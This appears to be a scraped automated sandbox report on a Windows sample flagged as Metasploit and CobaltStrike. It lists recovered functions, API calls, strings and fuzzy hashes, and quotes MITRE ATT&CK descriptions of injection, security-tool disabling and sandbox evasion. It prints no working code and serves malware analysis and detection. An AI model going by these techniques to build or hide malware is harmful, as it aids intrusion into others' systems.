Associated: 00000004.00000002.473477839.000000000143B000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473507117.000000000143F000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473544930.0000000001442000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473565866.0000000001446000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.475315066.00000000015B7000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.475470410.0000000001633000.00000040.00020000.sdmp Download File

Similarity

API ID: FreeGlobal_wcsstr$ByteCharErrorLastMultiWide
String ID: ://$GetIEProxyInfo - Failed to get proxy for the url, error:%d$GetIEProxyInfo - Failed to get proxy setting for current user :%d$GetIEProxyInfo - No default proxy present on the user machine$GetIEProxyInfo - autoconfig url on the machine is :%s$GetIEProxyInfo - invalid arguments$GetIEProxyInfo - proxy Url is %s$GetIEProxyInfo - proxy fetched is :%s$HTTPConnectorError$WinHTTP AutoProxy$https=
API String ID: 1288140553-1235901312
Opcode ID: a3497c6560866fee48d0f38db638f32f4aca95dac11f7c1c56e86d6791aae210
Instruction ID: 8fbbd5d66de3d6e0fb0aca0b589278a412f31bd087005a388d5163fa81902e29
Opcode Fuzzy Hash: a3497c6560866fee48d0f38db638f32f4aca95dac11f7c1c56e86d6791aae210
Instruction Fuzzy Hash: B0B1F571E01206ABDF249FA9DC58BFE7BB9EF44308F0800AEF945A7244DB799541C760

Uniqueness

Uniqueness Score: -1.00%

Function 010BB550, Relevance: 7.7, APIs: 5, Instructions: 233COMMON

Download Yara Rule

APIs

PathIsDirectoryW.SHLWAPI(?), ref: 010BB667
SHCreateDirectoryExW.SHELL32(00000000,?,00000000,?,?,?,?,?,?,?), ref: 010BB6E6
PathIsFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?), ref: 010BB74E
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?), ref: 010BB815
FindCloseChangeNotification.KERNEL32(00000000,?,?,?,?,?,?), ref: 010BB860

Memory Dump Source

Source File: 00000004.00000002.470726724.0000000001011000.00000040.00020000.sdmp, Offset: 01010000, based on PE: true

Associated: 00000004.00000002.470698864.0000000001010000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.472614832.00000000012EC000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.472631957.00000000012F0000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473024202.00000000013C1000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473169405.00000000013FD000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473220432.0000000001405000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473236795.0000000001409000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473263945.000000000140D000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473297985.0000000001417000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473386136.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473477839.000000000143B000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473507117.000000000143F000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473544930.0000000001442000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473565866.0000000001446000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.475315066.00000000015B7000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.475470410.0000000001633000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseDirectoryPath$ChangeCreateFileFindHandleNotificationSpec
String ID:
API String ID: 1962471626-0
Opcode ID: e2814ab812518e0345597d7ff2ceea437b92c94338612767bf7bdbe56da77a18
Instruction ID: 2c76092b994a0bf7bfff203b0d483dc3575885b793c60535159630e9682b6b21
Opcode Fuzzy Hash: e2814ab812518e0345597d7ff2ceea437b92c94338612767bf7bdbe56da77a18
Instruction Fuzzy Hash: B89169711083819FD761DF28C888BABBBF4BF99318F080A5DE4C697290D779E548CB52

Uniqueness

Uniqueness Score: -1.00%

Function 011FF3A6, Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 011FF3C5

Memory Dump Source

Source File: 00000004.00000002.470726724.0000000001011000.00000040.00020000.sdmp, Offset: 01010000, based on PE: true

Associated: 00000004.00000002.470698864.0000000001010000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.472614832.00000000012EC000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.472631957.00000000012F0000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473024202.00000000013C1000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473169405.00000000013FD000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473220432.0000000001405000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473236795.0000000001409000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473263945.000000000140D000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473297985.0000000001417000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473386136.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473477839.000000000143B000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473507117.000000000143F000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473544930.0000000001442000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473565866.0000000001446000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.475315066.00000000015B7000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.475470410.0000000001633000.00000040.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: a6a9314fa2d64c4b56bb2c82775cffdb7bcba4d41c01eaf9d21a14891f681ce8
Instruction ID: 6ba8cc9ccdb574fc906e88201a15d0c6a355fe362f9b96ba045db97fbb78b02b
Opcode Fuzzy Hash: a6a9314fa2d64c4b56bb2c82775cffdb7bcba4d41c01eaf9d21a14891f681ce8
Instruction Fuzzy Hash: 0111E7335042179BDF3B2BB8B84476A3A94EF10368F11852DFB499A1A1DBB0C952C795

Uniqueness

Uniqueness Score: -1.00%

Function 01013950, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 01013A19

Strings

string too long, xrefs: 01013931, 0101393B, 01013A60
invalid string position, xrefs: 01013A4C, 01013A56

Memory Dump Source

Source File: 00000004.00000002.470726724.0000000001011000.00000040.00020000.sdmp, Offset: 01010000, based on PE: true

Associated: 00000004.00000002.470698864.0000000001010000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.472614832.00000000012EC000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.472631957.00000000012F0000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473024202.00000000013C1000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473169405.00000000013FD000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473220432.0000000001405000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473236795.0000000001409000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473263945.000000000140D000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473297985.0000000001417000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473386136.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473477839.000000000143B000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473507117.000000000143F000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473544930.0000000001442000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473565866.0000000001446000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.475315066.00000000015B7000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.475470410.0000000001633000.00000040.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 9ea209933484b8a81feaa9f8c54309cd9056eacbb3b7f6bb4edb68edd237de9b
Instruction ID: e385bdab46d221b387f309479442feb3b39e6e4974f1de3c5c59c5863746ee34
Opcode Fuzzy Hash: 9ea209933484b8a81feaa9f8c54309cd9056eacbb3b7f6bb4edb68edd237de9b
Instruction Fuzzy Hash: 1C41E1333143159BC724DE5CE8808AAF7EAFF906703540A2FE286CB254E775E85487A5

Uniqueness

Uniqueness Score: -1.00%

Function 01013DC0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

Part of subcall function 010142E0: _memmove.LIBCMT ref: 010143C0

_memmove.LIBCMT ref: 01013E75

Strings

string too long, xrefs: 01013EB2, 01013EBC
invalid string position, xrefs: 01013EA8

Memory Dump Source

Source File: 00000004.00000002.470726724.0000000001011000.00000040.00020000.sdmp, Offset: 01010000, based on PE: true

Associated: 00000004.00000002.470698864.0000000001010000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.472614832.00000000012EC000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.472631957.00000000012F0000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473024202.00000000013C1000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473169405.00000000013FD000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473220432.0000000001405000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473236795.0000000001409000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473263945.000000000140D000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473297985.0000000001417000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473386136.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473477839.000000000143B000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473507117.000000000143F000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473544930.0000000001442000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473565866.0000000001446000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.475315066.00000000015B7000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.475470410.0000000001633000.00000040.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: ea774e096e07ab807e612d8cd087c28eb50e4a1e0567b82da5372a12a74d15b5
Instruction ID: 57b52c9aabcc0848de4004dad894e0a9f27394f465fd7f586b7f5a5d026cfc06
Opcode Fuzzy Hash: ea774e096e07ab807e612d8cd087c28eb50e4a1e0567b82da5372a12a74d15b5
Instruction Fuzzy Hash: B831D3323043159BC724DE9CE8808AAB7E9FF95724320092EE155CF294DB71E815C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 010B4F70, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001C,00000000,\OOBE), ref: 010B4F93

Strings

\OOBE, xrefs: 010B4F83
\Adobe, xrefs: 010B4FAE

Memory Dump Source

Source File: 00000004.00000002.470726724.0000000001011000.00000040.00020000.sdmp, Offset: 01010000, based on PE: true

Associated: 00000004.00000002.470698864.0000000001010000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.472614832.00000000012EC000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.472631957.00000000012F0000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473024202.00000000013C1000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473169405.00000000013FD000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473220432.0000000001405000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473236795.0000000001409000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473263945.000000000140D000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473297985.0000000001417000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473386136.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473477839.000000000143B000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473507117.000000000143F000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473544930.0000000001442000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473565866.0000000001446000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.475315066.00000000015B7000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.475470410.0000000001633000.00000040.00020000.sdmp Download File

Similarity

API ID: FolderPathSpecial
String ID: \Adobe$\OOBE
API String ID: 994120019-1482835666
Opcode ID: 3bfb6203b3bb0c144eb071e7b2e270e2e5b2a175dfee98cc13a617487e3bdb42
Instruction ID: be141a89c9b379615e0fcfb4207a39fe39c2a07336c0859570beef079476b494
Opcode Fuzzy Hash: 3bfb6203b3bb0c144eb071e7b2e270e2e5b2a175dfee98cc13a617487e3bdb42
Instruction Fuzzy Hash: E4012675A402196BCB28EB64AC49BFE73A8DB04304F5042DDE90B8B182EB756B058B80

Uniqueness

Uniqueness Score: -1.00%

Function 01014170, Relevance: 1.6, APIs: 1, Instructions: 91COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 01014248

Memory Dump Source

Source File: 00000004.00000002.470726724.0000000001011000.00000040.00020000.sdmp, Offset: 01010000, based on PE: true

Associated: 00000004.00000002.470698864.0000000001010000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.472614832.00000000012EC000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.472631957.00000000012F0000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473024202.00000000013C1000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473169405.00000000013FD000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473220432.0000000001405000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473236795.0000000001409000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473263945.000000000140D000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473297985.0000000001417000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473386136.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473477839.000000000143B000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473507117.000000000143F000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473544930.0000000001442000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473565866.0000000001446000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.475315066.00000000015B7000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.475470410.0000000001633000.00000040.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: f170d0dc9f881177664627314ca9d61fc243532e4841472a87ea5c5f247fb2f8
Instruction ID: de5f560aa5a0585bb88a07417f5fdb10add36062205c1d539167470124dee8df
Opcode Fuzzy Hash: f170d0dc9f881177664627314ca9d61fc243532e4841472a87ea5c5f247fb2f8
Instruction Fuzzy Hash: 2231F2B1A00705DBDB24CF68D8407AEBBF4EB55320F10072EE8A29B3D4C778A944CB91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 8v4iWYLvKJ.exe

Overview

General Information

Detection

Compliance

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Metasploit

Threatname: CobaltStrike

Yara Overview

Memory Dumps

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Privilege Escalation:

Compliance:

Spreading:

Networking:

DDoS:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre